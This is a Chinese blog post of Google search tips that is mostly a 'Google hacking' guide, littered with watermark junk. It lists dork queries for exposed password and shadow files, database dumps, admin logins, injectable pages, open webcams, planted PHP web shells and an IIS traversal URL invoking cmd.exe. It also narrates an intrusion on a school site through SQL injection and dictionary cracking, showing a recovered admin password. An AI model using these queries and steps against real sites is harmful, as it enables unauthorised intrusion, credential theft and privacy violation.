我的地盘我做主！ 博客：http://tester2test.cnblogs.com/ 　 msn:win_soft@163.com

简单实用的google用法

上一篇 / 下一篇  2007-12-04 22:07:29 / 个人分类：其他

查看( 8105 ) / 评论( 0 ) / 评分( 0 / 0 )
51Testing软件测试网L5Qt%vT

简单实用的google用法
51Testing软件测试网 Hg];qk;B)]5X

察看基本情况：51Testing软件测试网k$T7cjg
info:xx.org 返回一些基本信息                                       
*GCmjJOd z2hE0site:xx.org 返回所有与该有关的url`````````````````````````````一般是看他的主要文件和部分目录
+g,?#R'`&v1v:m8a YS'A_0link:xx.org 返回所有与该站做了连接的站51Testing软件测试网 g.?'O@LSTn^

;]%\:\Oz^:[0site:xx.org filetype:txt 查找TXT文件 其他的依次内推``````TXT，有时候在站里面可以找到ftp密码51Testing软件测试网&O'thx!s dT

RR_``-Y%g+xd0查找后台```````````````````````````````````````````````````````````拿到密码后，或者尝试or，或者看版权时用到
t#] ?#Dj G0site:xx.org intext:管理51Testing软件测试网6nG6~`n+x
site:xx.org inurl:login
6}`Bt%i$g;P0site:xx.org intitle:后台
eJ d8nk.t,\#V051Testing软件测试网 k5{X*|| y?1Ol
查看服务器使用的程序``````````````````````````````````````````一般看主机什么系统，对应的马就什么权限51Testing软件测试网q(XRH \
site:xx.org filetype:asp
2q7uw5MTg{0site:xx.org filetype:php51Testing软件测试网d/ESqKUf
site:xx.org filetype:jsp51Testing软件测试网(?#kU'WhW
site:xx.org filetype:aspx
6D3M2N+P} qapy0
"?$Y2Su^4_#j%k0查看上传漏洞：``````````````````````````````````````````````````这可是最爽的拿shell方法51Testing软件测试网 ~,qE;b t1d2P#k
site:xx.org inurl:file51Testing软件测试网 Ru ^3{|;v
site:xx.org inurl:load
D'iW2_x tL ]3Bk`0
9Rt,o&x lt3xC `}0查找注射点：`````````````````````````````````````````````````````找注射点最快的方法51Testing软件测试网erS{.KCf
site:xx.org filetype:asp

5rB2N H+~%h4o0

(F$u&tR!TF1t%|2q5p{0以上语法可以复合使用

Ju hAG0`3q(]0Q0

"Z(un+}W\ bZ0 51Testing软件测试网 h ik3?8R8yc W.l

51Testing软件测试网#A o [&c2zR_VXv

利用Google突破封锁:下载想要的东西

m UyTj.EhZ0 51Testing软件测试网S!w;Uy4]/mQ&dqP\ z

第一篇 突破封锁之电子书、多媒体下载

A/Q M-Pk k*J1eV0

2UllJ {0　　在搜索框上输入：
3I N'Li nb-bJ0　　 "index of/ " inurl:lib51Testing软件测试网8a|J T.Gs7|o.j
　　再按搜索你将进入许多图书馆，并且一定能下载自己喜欢的书籍。51Testing软件测试网s3q5dC[V

51Testing软件测试网{[o&Af

　　在搜索框上输入：51Testing软件测试网Q7Em8S4WNt
　　 "index of /" cnki51Testing软件测试网 }*BoOfN
　　再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口！

b@ S Z uT ['UU+s-\0 51Testing软件测试网mI#[{!~uL

　　在搜索框上输入：51Testing软件测试网`J}.N'@'K n
　　"index of /" ppt51Testing软件测试网1|y ~RDKU
　　再按搜索你就可以突破网站入口下载powerpint作品！51Testing软件测试网b9v ]4`"s2e$lt

51Testing软件测试网[X4}/dlcQ U@;oD

　　在搜索框上输入：
ft+^+v J\V;q-J0　　"index of /" mp351Testing软件测试网7v a hA$V
　　再按搜索你就可以突破网站入口下载mp3、rm等影视作品！51Testing软件测试网:k+T2kr-FM:E

n+^qI']Q\0　　在搜索框上输入：
~K J-`A7x*s%zU0　　"index of /" swf51Testing软件测试网 [WP2s*d%`uc
　　再按搜索你就可以突破网站入口下载flash作品！51Testing软件测试网!Rg |7^:V!|p

*Y J\ [[ hp!c0　　在搜索框上输入：
.pmy pw8@,a0　　"index of /" 要下载的软件名
2s9gKOsb'V0　　再按搜索你就可以突破网站入口下载软件！

K2DJ.@f e~0 51Testing软件测试网1bDb5t5}B{ B

　　注意引号应是英文的！

x1hnk7xM \0 51Testing软件测试网Pi H;B:Gq6W`

　　再透露一下，如果你输入：51Testing软件测试网:p2?&C$K4Iu u%O9d0N?
　　"index of /" AVI51Testing软件测试网9s kE!{e/MB'}+hx
　　这样就可以下载AVI格式的视频文件了喔

[6o(Odt0 51Testing软件测试网G?#J|&n Q/Y%F

　　第二篇 突破封锁之看世界

/V-J@4p~!l.T6h;o0 51Testing软件测试网i|#e"V3IaX$\

　　用Google看世界!!!只要你在Google里输入特殊的关键字,就可以搜到数千个摄象头的IP地址!通过他你就可以看到其所摄的实时影象!!51Testing软件测试网YVwh] I5V1~

51Testing软件测试网"?T sUu;x_)Vy/D

　　在google里输入：
l AW(j m Y8I/kI0　　inurl:"viewerframe?mode="51Testing软件测试网8B|-~3j P0Y8~ nw3HO

"^-s6d&{ E$e0_\~o6F0　　随便打开一个,然后按提示装一个插件,就可以看到了!!!51Testing软件测试网'rV)h"j.b"B%lth3^5`

51Testing软件测试网a:x SI B"Q

　　第三篇 突破封锁之Google是黑客的乐园51Testing软件测试网8QU3L-| YPs+ls

51Testing软件测试网'x re1`fJ;{,M

　　三则黑客的Google搜索技巧简介

-@1r2rSK"{;L0 51Testing软件测试网 fy.Nw/V w

　　大家都知道，Google毫无疑问是当今世界上最强大的搜索引擎。然而，在黑客手中，它也是一个秘密武器，它能搜索到一些你意想不到的信息。赛迪编者把他们进行了简单的总结不是希望您利用他去攻击别人的网站，而是利用这些技巧去在浩如烟海的网络信息中，来个大海捞针，寻找到对您有用的信息。

M A%_l Z'X'@8l,q0 51Testing软件测试网"?.T ^&t2e5x(UJ

　　如果您是一名普通网民，您可以使用黑客的技巧扩大自己的视野，提高自己的检索效率；如果您是一名网管，请您赶快看看您的网站是否做好了对下面黑客探测手段的防范措施，如果没有就赶快来个亡羊补牢，毕竟隐患胜于明火，防范胜于救灾；如果您是一名黑客，相信您早以在别的黑客站点上见过类似的方法，这篇文章对您没什么用处，这里的技巧对您是小儿科，菜鸟级！您可以节省宝贵的时间做更有意义的事情，这篇文章您不用看了，到别处去吧！

v dRb5h G,g0 51Testing软件测试网,OZnYT.]

51Testing软件测试网6c:^S@^6j,`
　2 、查找 PDF 文件

+` YZ/Gz_0

%gKi)d#_1mX8p0　　现在 GOOGLE 的搜索结果中包括了 PDF 文件。尽管 PDF 文件不如 HTML 文件那么多，但他们经常具备一些其他文件不具备的高质量信息

/`5@`"B^0

*I4d1IYG)]+JJ#H4f0　　为了显示一个搜索结果是 PDF 文件而不是网页， PDF 文件的标题开头显示蓝色文本。

CTS4f |4m8G+y0 51Testing软件测试网 L T U EZwkxr

　　这就是让你知道 ACRTOBAT READER 程序会启动来阅读文件51Testing软件测试网|-D nno][T!I8y

51Testing软件测试网'v(XI)E!a[

　　如果你的计算机没装有该程序，计算机会指导你去能免费下载该程序的网页。

0j|9a#a%ng1I\0

Xh"d@-f8T:P0　　使用 PDF 文件时，相关的网页快照会由“ TEXT VERSION ”代替，它是 PDF 文档的复制文件，该文件除去了所有格式化命令。51Testing软件测试网KC)E.AG5J n,j C2H8Z\]

mO8KzpE4z%lV.Y0　　如果你在没有 PDF 链接的情况下想看一系列搜索结果，只要在搜索栏中打上 -inurldf 加上你的搜索条件。51Testing软件测试网"XaBw*Dsc

51Testing软件测试网_i'v7L6V/pI;vD]

　　3 、股票报价51Testing软件测试网Jn:Zc"n O

51Testing软件测试网3Rjl ez s

　　用 Google 查找股票和共有基金信息，只要输入一个或多个 NYSE ， NASDAQ ， AMEX 或51Testing软件测试网-J5G|L j9F*qb&kK
　　共有基金的股票行情自动收录机的代码，也可以输入在股市开户的公司名字。

!T9y;][(@1M6m-`0N0

`Z r1gc ze4M%o0　　如果 Google 识别出你查询的是股票或者共有基金，它回复的链接会直接连到高质量的金融信息提供者提供的股票和共有基金信息。51Testing软件测试网4\ ^d&r+@9e/z*g

51Testing软件测试网 XS0f$ww:j

　　在你搜索结果的开头显示的是你查询的股市行情自动收录器的代码。如果你要查找一家公司的名字（比如， INTEL ），请查看“股票报价”在 Google 搜索结果的金融栏里会有那个公司的主页的链接（比如， www.INTEL.COM ）。51Testing软件测试网 K+eJ2D6{F

51Testing软件测试网Q1Y6O ^K|H#arY1{+p

　　Google 是以质量为基础来选择和决定金融信息提供者的，包括的因素有下载速度，用户界面及其功能。

B;C&Rm ?C,G0 51Testing软件测试网&u![_D4lq?7b

　　4 、找找谁和你链接51Testing软件测试网B v#])]g

,O%[v,` s%v3{0　　有些单词如果带有冒号就会有特殊的意思。比如 link ：操作员。查询 link:siteURL ，就会显示所有指向那个 URL 的网页。举例来说，链接 www.Google.com 会向你显示所有指向 GOOGLE 主页的网页。但这种方法不能与关键字查询联合使用。51Testing软件测试网g df\t#q U

51Testing软件测试网9^n4Ir5yE:b$XG

　　5 、查找站点

M.p-_g~M$o@0 51Testing软件测试网:ScG;C `W Q$`"f"tc

　　单词 site 后面如果接上冒号就能够将你的搜索限定到某个网站。具体做法是：在 c 搜索栏中使用 site:sampledomain.com 这个语法结构。比如，在斯坦福找申请信息，输入：51Testing软件测试网 |R*v+S.m
　　admission site:www.stanford.edu51Testing软件测试网'T ? { ]+hv}

51Testing软件测试网!z9R0^(Ep x

　　6 、查找字典释意

!B!KF V\*u UI0 51Testing软件测试网"^9wIsx'ne;C

　　查找字典释意的方法是在搜索栏中输入你要查询的内容。在我们根据要求找到所有的字典释意都会标有下划线，位于搜索结果的上面，点击链接你会找到字典提供者根据要求给出的相关定义。51Testing软件测试网4xt#TM2k&G

?7H wNaY2RJik07 、用 GOOLGE 查找地图

$Y$iEc5R!u0

3o aE6EMD z2s0　　想用 Google 查找街区地图，在 Google 搜索栏中输入美国街区地址，包括邮递区号或城市/州（比如 165 大学大街 PALO ALTO CA ）。通常情况下，街区地址和城市的名字就足够了。51Testing软件测试网!Z(E5rC'N7aw

@b}J0^Yp%Q0　　当 Google 识别你的要求是查找地图，它会反馈给你有高质量地图提供者提供的链接，使你直接找到相关地图。我们是以质量为基础选择这些地图提供者。值得注意的是 Google 和使用的地图信息提供者没有任何关联。51Testing软件测试网 PQ!{1e:KFx:u&a

$e Y`Jm:g+\051Testing软件测试网W#A9X?e _g9l
搜索URL51Testing软件测试网?!y/TX7~ Z6}Gg'H3k

51Testing软件测试网:hea)| T

　　比如我们提交这种形式：passwd.txt site:virtualave.net51Testing软件测试网'VS-qDs(\XD*W"o

51Testing软件测试网"a9}6IP ~

　　看到了什么？是不是觉得太不可思议了！有很多基于CGI/PHP/ASP 类型的留言板存在这种问题。有时我们得到密码甚至还是明码的！管理员或许太不负责了，或许安全防范的意识太差了，如果你是网络管理员，赶快检查一下不要让恶意攻击者捡了便宜。不要太相信DES加密，即使我们的密码经过DES 加密的密码，黑客们还是可以通过许多破解软件来搞定。

j(RL3o Z0 51Testing软件测试网k h6xN kzy9g/B

　　这次我们能得到包含密码的文件。“site:virtualave.net”意思是只搜索 virutalave.net 的URL。virutalave.net是一个网络服务器提供商。

o!g!gQ0wAaXS;V0 51Testing软件测试网EkR(?k'U/|a

　　同样，我们可以搜索一些顶级域名，比如：.net .org .jp .in .gr51Testing软件测试网h.x:j @!\ qTq s

$Nf_/d7z0T%n+v*r0　　config.txt site:.jp

'gVm Q aB(x-I&^P0 51Testing软件测试网5o2Vm!B$|"Z;vn

　　admin.txt site:.tw51Testing软件测试网8^*Q Av0}[#~j

51Testing软件测试网"S,}7Sf!xL'N ^.BC

　　搜索首页的目录

'_J EIs4Y,E0 51Testing软件测试网 l ePj hC\f c

　　首页是非常有用的，它会提供给你许多有用的信息。

`._7C;YcBl%mU0

&P u$I^$BDC0　　我们提交如下的形式：

m_9Rr{4KQcR}4Y0 51Testing软件测试网(c$pFK,an3_

　　"Index of /admin"51Testing软件测试网DAI/C~Rn

2nBxZy"|\-}!K?0　　"Index of /secret"

V?1p3sy'RA p0 51Testing软件测试网8Mw@/}Wrt|

　　"Index of /cgi-bin" site:.edu51Testing软件测试网8u,f&C"{t

l%E*GYNm-e0　　你可以自己定义搜索的首页字符。这样就可以获得许多信息。51Testing软件测试网#U"Nv MYe#ucu N+x/]

/LO,K]z0　　搜索特定的文件类型51Testing软件测试网{;^p&m u!_

3k0WKl8JA2FY_5`0　　比如你想指定一种文件的类型，可以提交如下形式：

W,d~HiC1O0

-thU,P+ud`"J-X3^]0　　filetype:.doc site:.mil classified51Testing软件测试网o W:^2h)KrG

51Testing软件测试网VBb5C'\V#uq8O

　　这个就是搜索军方的资料，你可以自定义搜索。51Testing软件测试网^)n0y c'E(t]w8}

/o G&I/d(p*u9u9]2L(?0常用的google关键字： 51Testing软件测试网K Z#C\3[/@ eTGK
foo1 foo2 (也就是关联，比如搜索xx公司 xx美女) 51Testing软件测试网 W yxq V\(b@&Pk
operator:foo
]5d K;oFd)\Z0filetype:123 类型
f8[XSXv:_0site:foo.com 相对直接看网站更有意思，可以得到许多意外的信息
0UL'[F}%Bz0intext:foo
8P$Tv7V4D*meS0intitle: fooltitle 标题哦 51Testing软件测试网9|R\j|l^;QIB
allinurl:foo 搜索xx网站的所有相关连接。（踩点必备）
? [/H:kI0links:foo 不要说就知道是它的相关链接
N%Q \Ms Eo"m0allintilte:foo.com

1L;IF.]3?TIWdx0 51Testing软件测试网 [0f[OpTD

51Testing软件测试网T `qc(v?4CZ1Yx-}
我们可以辅助"-" "+"来调整搜索的精确程度

jw&S4P.m)@e5y?0 51Testing软件测试网 r j [&R*OM`)x

直接搜索密码：(引号表示为精确搜索)
D&c9bh9_Q'j;r0当然我们可以再延伸到上面的结果里进行二次搜索 51Testing软件测试网.? \_"XK&x5lno
"index of" htpasswd / passwd
8YlJPhT1y7g0filetype:xls username password email 51Testing软件测试网h,TIY8w J-^do
"ws_ftp.log"
.E+o `(wV+@r;F0"config.php"
zH6h;j2_R+T$~0allinurl:admin mdb 51Testing软件测试网/S JZza
service filetype:pwd ....或者某个比如pcanywhere的密码后缀cif等 51Testing软件测试网C+s"ErjcP

.?H0_7K1j0越来越有意思了，再来点更敏感信息
-O:zn%Dm])Cg'T0"robots.txt" "Disallow:" filetype:txt
/J o;uy/\0inurl:_vti_cnf (FrontPage的关键索引啦，扫描器的CGI库一般都有地) 51Testing软件测试网)m"{ S@ C(f1q;@8[sI p
allinurl: /msadc/Samples/selector/showcode.asp 51Testing软件测试网$_&R/Zf'yW+K-n
/../../../passwd 51Testing软件测试网f'a4j7`wd u2^a^
/examples/jsp/snp/snoop.jsp 51Testing软件测试网2j&IFP"R0bmie
phpsysinfo 51Testing软件测试网a/|1f6?p On
intitle:index of /admin 51Testing软件测试网3B$LM'n${ R;tb@
intitle:"documetation" 51Testing软件测试网 Z%o{5S0Bc} L3~
inurl: 5800(vnc的端口)或者desktop port等多个关键字检索
*]B/P@6^W0webmin port 10000
G"g ?zmG&j0inurl:/admin/login.asp
L)P6JcaiGwD%J G0intext:Powered by GBook365 51Testing软件测试网dM+{7w7K
intitle:"php shell*" "Enable stderr" filetype:php 直接搜索到phpwebshell

];Ki*~ [h_6a0

oV-Wx3t5@(m W0foo.org filetype:inc

)U4y$U!Xz f(B7L0 51Testing软件测试网h-?q9C|y1cw!Z

51Testing软件测试网/oc9CTDa
ipsec filetype:conf 51Testing软件测试网hlpJu$F`&E}G!{
intilte:"error occurred" ODBC request where (select|insert) 说白了就是说，可以直接试着查查数据库检索，针对目前流行的sql注射，会发达哦 51Testing软件测试网-X"h/m ]{'N
"Dumping data for table" username password
a H*c&@~ GE7[5q0intitle:"Error using Hypernews"
?Yu.sBDc#~sr0"Server Software"
.GY ~"BM4`+i_ XO0intitle:"HTTP_USER_AGENT=Googlebot"
`6QqB8j:G)Zh1s0"HTTP_USER_ANGET=Googlebot" THS ADMIN 51Testing软件测试网"S}6pROC
filetype:.doc site:.mil classified 直接搜索军方相关word 51Testing软件测试网` }ZP1sE*?^:{

5i B3B$P#Q J L(j0检查多个关键字： 51Testing软件测试网,V6hO?2uW6R!l
intitle:config confixx login password 51Testing软件测试网v1nP4F {!z7YXEX

PFs3E9{d[1]0"mydomain.com" nessus report
z `x [M ? dcZ0"report generated by"
rd n4lP'ZJw$k } |0"ipconfig" 51Testing软件测试网 b s.P&eu+d7Lz
"winipconfig"

eN zn"Kh$Af JD0

O'LH2L-]!}0google缓存利用（hoho，最有影响力的东西）推荐大家搜索时候多"选搜索所有网站" 51Testing软件测试网9ay q.W J&`l
特别推荐：administrator users 等相关的东西，比如名字，生日等……最惨也可以拿来做字典嘛

f \s$F4f0 51Testing软件测试网){-m8Z8LS-S6x$U\

 51Testing软件测试网C\2m1B+`!{uzx

/xrPa+U.`8P0……

V7BQ$Ej.H4B0 51Testing软件测试网 @ayc^X


|4|e"c` NU ?1L0一些技巧集合：

h [#V[.[!xH0 51Testing软件测试网#[ZD(G_BK2|&q

1) index.of.password 51Testing软件测试网7CZ g2c.b%Y
1) filetype:blt "buddylist"
u)Re/Bq4c-D02) "access denied for user" "using password"
Y${E Z"fg;jfhm5^02) intitle:"index of" inurl:ftp (pub | incoming)
;rS4ia`0o8I/u+W03) "http://*:*@www" domainname
-B)s{gw03) filetype:cnf inurl:_vti_pvt access.cnf
Y9w5r| C7QZ2o04) auth_user_file.txt 51Testing软件测试网Z Q6X*\&[(P-u](Z-?
4) allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/" 51Testing软件测试网-CAHz U)Xb
5) The Master List
OaU}l,@05) inurl:"install/install.php"
^*`'i uZ2a p8c+_H06) allinurl: admin mdb
g1v9VY n dE06) intitle:"welcome.to.squeezebox"
H&]7i0^ovM W?jf07) passlist.txt (a better way) 51Testing软件测试网S| n4K9G'~
7) intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
cVx \H0I;Z1W g*t08) "A syntax error has occurred" filetype:ihtml
!c}7k.DH/a08) intitle:Login intext:"RT is ? Copyright" 51Testing软件测试网y,dH%o7`CDI
9) "# -FrontPage-" inurl:service.pwd
^L@Q;TQL5@09) ext:php program_listing intitle:MythWeb.Program.Listing
o0f$lqO`010) ORA-00921: unexpected end of SQL command 51Testing软件测试网o9E,cak7t6r}P
10) intitle:index.of abyss.conf 51Testing软件测试网 n5zdY.r,J]M Bq

51Testing软件测试网J` q~ aO%BGas

NO2: 51Testing软件测试网v^kA1g'TC%td3W
-------------------------------------------------------------------------------- 51Testing软件测试网8h[&B8s7v i?/L

in JNMO!~ ZX8G,J0google hacking的简单实现 51Testing软件测试网(H)\0J~9^c!C
使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法. 51Testing软件测试网 a/Y `%V0r$E
intext: 51Testing软件测试网 B3N.r$_/at3ZD
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页.allintext:使用方法和intext类似. 51Testing软件测试网4e/y I @)x;_

51Testing软件测试网)K$v k!J%z^a5sT5n

intitle: 51Testing软件测试网&a*Y]rI%]j W5{
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网 51Testing软件测试网;Oo5? BA-[IC

51Testing软件测试网IeS3UPSi

页.同理allintitle:也同intitle类似.

{){ Y+k\0I;X0 51Testing软件测试网 q%Vxc?~0y:e

cache: 51Testing软件测试网*S]2EYU/A'hQ4B#b
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

%p8| C`|r.RF0 51Testing软件测试网 ^f%K$ga|(vk da

define:
:\A t*Pv.dpu0~\0搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

1rn#m Dl0

+X*?x#dn0filetype: 51Testing软件测试网gq^$Lo u0Dq
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入

:o j!g B dp0

Q-s [!iPZ;QOV0:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:)

(j)AB}1h-WwPb0 51Testing软件测试网O XQo;fTY

info:
A9k c$V*a3m"i7`0查找指定站点的一些基本信息.

hHN3iS'yoq0

Dn"za_9u P'Z0inurl: 51Testing软件测试网.Z%|WH:L+Di
搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接http://www.xxx.com/xxx/admin,用来找管理员登 51Testing软件测试网$X#usy9}9tf1~.E

q8s*{3z.Zy$F&l0陆的URL不错.allinurl也同inurl类似,可指定多个字符.

"{H"I j0? Pw9S&?%?9C0

,@w"KmM?b0link: 51Testing软件测试网d'J!R2w1[`9sbiY&Xa
例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL. 51Testing软件测试网Y/T-\E!X O*g)kSJ

o]8U3B1?'M d0site: 51Testing软件测试网3?:[c)u%z
这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL.

7c d2~1?;b/a$w4m0 51Testing软件测试网pN~9W:P{

51Testing软件测试网l.r(T9rO1j2\
对了还有一些*作符也是很有用的:
1\V{.s P@UYc0+ 把google可能忽略的字列如查询范围
Wr DY.Fce-P Z0- 把某个字忽略
8J9n(W%R1`(H\*AY0~ 同意词 51Testing软件测试网@;oa+?_9Y
. 单一的通配符 51Testing软件测试网eD"[/`/t8L`
* 通配符，可代表多个字母 51Testing软件测试网`1}#z5zelX
"" 精确查询 51Testing软件测试网3W+^ r9T }7[

51Testing软件测试网GyY'WZ7L+C)W

下面开始说说实际应用

?#I6Aa;gY!]$P0 51Testing软件测试网)R:oool

以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会 51Testing软件测试网0Y8ew y$PI3]|'i I

51Testing软件测试网U*Y P[;V4@{ D0B%lP.A

把一些敏感信息透露给他们.用google搜索以下内容: 51Testing软件测试网,KX"z3I~sf
intitle:"index of" etc 51Testing软件测试网Gj/c0j T-A%Q@
intitle:"Index of" .sh_history 51Testing软件测试网 J1m tq-m
intitle:"Index of" .bash_history
b*arTz.PRZ5H0Y0intitle:"index of" passwd 51Testing软件测试网5Kr.S RQ
intitle:"index of" people.lst
W-CV4h QD fk] e\0intitle:"index of" pwd.db 51Testing软件测试网@Q r*f(^&^(s5\
intitle:"index of" etc/shadow
pd"Vku0intitle:"index of" spwd 51Testing软件测试网 sOy^c*p`Lf
intitle:"index of" master.passwd
K:a)q)ji0intitle:"index of" htpasswd 51Testing软件测试网C/H9d{YBz
"# -FrontPage-" inurl:service.pwd
7L%}E%yXf-s&m0有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的 51Testing软件测试网;B}~&rx7?

T7oD2LKvD5f0nw s\q051Testing软件测试网4Tq!RK:qu @ K
同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,可以用google来找网上使用这套程序的站点: 51Testing软件测试网C.U;f+Xwp te'V
intext:ZeroBoard filetype:php 51Testing软件测试网{'d@9@$C};k`
或者使用:
zY{{nN\0inurl:outlogin.php?_zb_path= site:.jp 51Testing软件测试网 k+cj+i-z"u L&d
来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库*作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行*作.我们可以用google搜索存在这样漏洞的程序URL:
!?%PNz%@*w6Y7He o?0intitle:phpmyadmin intext:Create new database

1DgLm1r [0

A6gnT D"WT0还http://www.xxx.com/_vti_bin/..%5C..%5C..%5C..%5C..%5C../winnt/system32/cmd.exe?dir吗?用google找找，你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
@1i6^-CW1AE0allinurl：winnt system32

S#nx)am/n0 51Testing软件测试网I,yVWKq6As

前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下: 51Testing软件测试网Y`,N ~&kHLd}3g$f
allinurl:bbs data
AQ-sp y{s'hB0filetype:mdb inurl:database
TH;[ XN0filetype:inc conn 51Testing软件测试网)xWT \?/g4n
inurl:data filetype:mdb
QU1\UgF7F gL*U0intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的原理一样,我们还可以用google来找后台. 51Testing软件测试网JY P4latE%`f:D2Iq

&H+f y1Zr Y0
oU5Pm c9k6E1U0利用google完全是可以对一个站点进行信息收集和渗透的，下面我们用google对特定站点进行一次测试。 51Testing软件测试网 a!fI6j/ms
首先用google先看这个站点的一些基本情况(一些细节部分就略去了): 51Testing软件测试网F3|*T'l$EQ`"_
site:xxxx.com 51Testing软件测试网"\OG5Vrz%r i3~
从返回的信息中，找到几个该校的几个系院的域名：
,oJ$R3Z@%D+Q@]0http://a1.xxxx.com
o(^$B*h }0http://a2.xxxx.com 51Testing软件测试网{s)la.W.Q^
http://a3.xxxx.com
"aVV7V4L-t}t-Y0http://a4.xxxx.com 51Testing软件测试网.]e)l$jEq z
顺便ping了一下，应该是在不同的服务器.学校一般都会有不少好的资料，先看看有什么好东西没 51Testing软件测试网;m{ d N$U/E

.OF W"~Ph&D0site:xxxx.com filetype:doc 51Testing软件测试网/^tG#`1hy7E8B3t
得到N个不错的doc。 51Testing软件测试网*Bt F w:\!Oud

o(O6E Mu0先找找网站的管理后台地址：
a^Ub(s&Uk~0site:xxxx.com intext:管理 51Testing软件测试网C0IN@~l#qD
site:xxxx.com inurl:login 51Testing软件测试网7y']K6k"J(hG|gM8| v
site:xxxx.com intitle:管理 51Testing软件测试网s&ZJ-},S.d
超过获得2个管理后台地址： 51Testing软件测试网5n U VA)TW#Ps&J
http://a2.xxxx.com/sys/admin_login.asp
z7_Mnl%t k0http://a3.xxxx.com:88/_admin/login_in.asp

JA$A?-z0

4Ivwio3d0还算不错，看看服务器上跑的是什么程序：
%\4z`:DWQ0site:a2.xxxx.com filetype:asp 51Testing软件测试网+e*N$@/B/@$r| Z
site:a2.xxxx.com filetype:php 51Testing软件测试网d:Q$v2v^/H9k W@ cL0g
site:a2.xxxx.com filetype:aspx
SB b4Zb+Y0site:a3.xxxx.com filetype:asp 51Testing软件测试网5L$G m0irT s&u3~
site:.......
}.N3Kaj0...... 51Testing软件测试网(D tw vE$P-g
a2服务器用的应该是IIS，上面用的是asp的整站程序，还有一个php的论坛 51Testing软件测试网 ^U5lf(f M+@w
a3服务器也是IIS，aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的：
_|$L [o!Mu'K1pw+r0site:a2.xxxx.com intext:ftp://*:* 51Testing软件测试网N~&Gb6k5R3nfgK/V
没找到什么有价值的东西。再看看有没有上传一类的漏洞： 51Testing软件测试网-J8_Sq%f7kf Cz
site:a2.xxxx.com inurl:file
h? m(k2i0site:a3.xxxx.com inurl:load 51Testing软件测试网A/I'n-?9Q'D3Bw}8Bl
在a2上发现一个上传文件的页面： 51Testing软件测试网pxAKbVOt
http://a2.xxxx.com/sys/uploadfile.asp
9S0[#} CNq#R0用IE看了一下，没权限访问。试试注射， 51Testing软件测试网 z;Uyw}
site:a2.xxxx.com filetype:asp 51Testing软件测试网E-?f'vi9GU
得到N个asp页面的地址，体力活就让软件做吧，这套程序明显没有对注射做什么防范，dbowner权限，虽然不高但已足矣，back a shell不太喜

Tt!W{ ua(EU0 51Testing软件测试网%ga3C*e7Z1v~

欢，而且看起来数据库的个头就不小，直接把web管理员的密码暴出来再说，MD5加密过。一般学校的站点的密码都比较有规律，通常都是域名+ 51Testing软件测试网%t K$vsF%`P

51Testing软件测试网"ZN7e"] w$s

电话一类的变形，用google搞定吧。 51Testing软件测试网?l*p|"FR8q P|E
site:xxxx.com //得到N个二级域名 51Testing软件测试网\H~ X7zZ H*V
site:xxxx.com intext:*@xxxx.com //得到N个邮件地址，还有邮箱的主人的名字什么的 51Testing软件测试网jPsQ0p
site:xxxx.com intext:电话 //N个电话
RK]`dm0把什么的信息做个字典吧，挂上慢慢跑。过了一段时间就跑出4个帐号，2个是学生会的，1个管理员，还有一个可能是老师的帐号。登陆上去： 51Testing软件测试网4QG/pU gD/w
name：网站管理员
Y0F|g,Z?a P.ah0n0pass：a2xxxx7619 //说了吧，就是域名+4个数字
*T jN$L O%M ed6E w^0要再怎么提权那就不属于本文讨论访问了，呵呵，到此为止。 51Testing软件测试网%Z;[ @-^/t~c_ M

/Po#K)y?(w0
"fe8k'W Y ^6V6P`3H8c y+K0这段时间在国外的一些google hack的研究站点看了看，其实也都差不多是一些基本语法的灵活运用，或者配合某个脚本漏洞，主要还是靠

N.L%|c7x'x+h/k0 51Testing软件测试网$cL^;gg&T}AQQ&N

个人的灵活思维。国外对于google hack方面的防范也并不是很多，所以大家还是点到为止，不要去搞破坏拉，呵呵。对于一些在win上跑
!as j5}.umt&j-M0apache的网管们应该多注意一下这方面，一个intitle:index of就差不多都出来了:) 51Testing软件测试网V!@W3jb vzEX
1.查找利用php webshell

L+HuHEVR`'I0 51Testing软件测试网9_y8UJ1Rkt

intitle:"php shell*" "Enable stderr" filetype:php

-s7u)D `9FR(C0

4t]/~A\ P I0{0(注: intitle��网页标题 Enable stderr��UNIX标准输出和标准错误的缩写filetype��文件类型)。搜索结果中，你能找到很多直接在机器上执

tzf;q i3g#X0 51Testing软件测试网[ j ~-[(g.A9oD

行命令的web shell来。如果找到的PHPSHELL不会利用，如果你不熟悉UNIX，可以直接看看LIST，这里就不详细说了，有很多利用价值。要说明

_#T M h/H0 51Testing软件测试网+hxHCG+C:kc

的是，我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令，都是system调用出来的函数(其实用百度及其他搜索引擎都可以，只是填 51Testing软件测试网5\-pR*Y7[:B J-Jd*}'w

